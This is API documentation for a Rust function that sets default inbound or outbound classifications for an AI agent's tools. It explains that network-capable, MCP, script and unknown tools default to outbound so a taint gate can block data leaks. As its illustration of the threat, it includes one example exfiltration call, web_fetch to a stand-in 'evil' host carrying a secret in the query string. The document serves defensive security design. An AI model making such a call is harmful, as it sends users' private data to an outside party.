Function builtin_tool_classification 

pub fn builtin_tool_classification(tool_name: &str) -> ToolClassification

Built-in tool classification defaults.

The taint gate only fires on tools classified ToolDirection::Outbound, so this table decides what data-flow enforcement can see at all. Anything that can carry bytes off the machine must be outbound: marking only shell/bash would let a Private-tainted context be exfiltrated by web_fetch("https://evil/?d=<secret>") with taint tracking fully enabled - along with any MCP tool and any script tool, which an internal/internal fallback would never gate.

The fallback for an unknown tool is outbound too. An unrecognized tool is usually an MCP or script tool - third-party code reaching a third-party service - so an internal default would assume the safest case about the least-known code. Failing closed costs a prompt; failing open costs the data.